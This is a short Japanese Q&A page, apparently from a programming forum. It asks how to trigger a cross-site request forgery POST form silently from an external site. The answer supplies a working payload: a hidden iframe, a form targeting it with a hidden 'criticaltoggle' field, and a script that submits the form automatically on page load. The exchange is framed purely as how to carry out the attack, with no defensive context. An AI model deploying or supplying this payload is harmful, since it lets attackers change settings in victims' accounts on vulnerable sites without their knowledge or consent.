2013-07-30 8 views
13

私は、CSRFのPOSTフォームをサイレントに送信する方法を知っていますが、ユーザーは通知を受けません(POSTed URLにリダイレクトされるドキュメントの場所はサイレント)。POSTフォーム(CSRF)をサイレントに送信する例

例:外部のサイトで

<form method='POST' action='http://vulnerablesite.com/form.php'> 
<input type='hidden' name='criticaltoggle' value='true' 
<input type='submit' value='submit'> 
</form> 

、私は自動的に静かにこのフォームをトリガーするために何をすべきかが必要でしょうか?

答えて

32

一つの解決策は、iframeのようにフレーム内にフォームのアクションを開くには、次のようになります。

<iframe style="display:none" name="csrf-frame"></iframe> 
<form method='POST' action='http://vulnerablesite.com/form.php' target="csrf-frame" id="csrf-form"> 
    <input type='hidden' name='criticaltoggle' value='true'> 
    <input type='submit' value='submit'> 
</form> 
<script>document.getElementById("csrf-form").submit()</script> 
関連する問題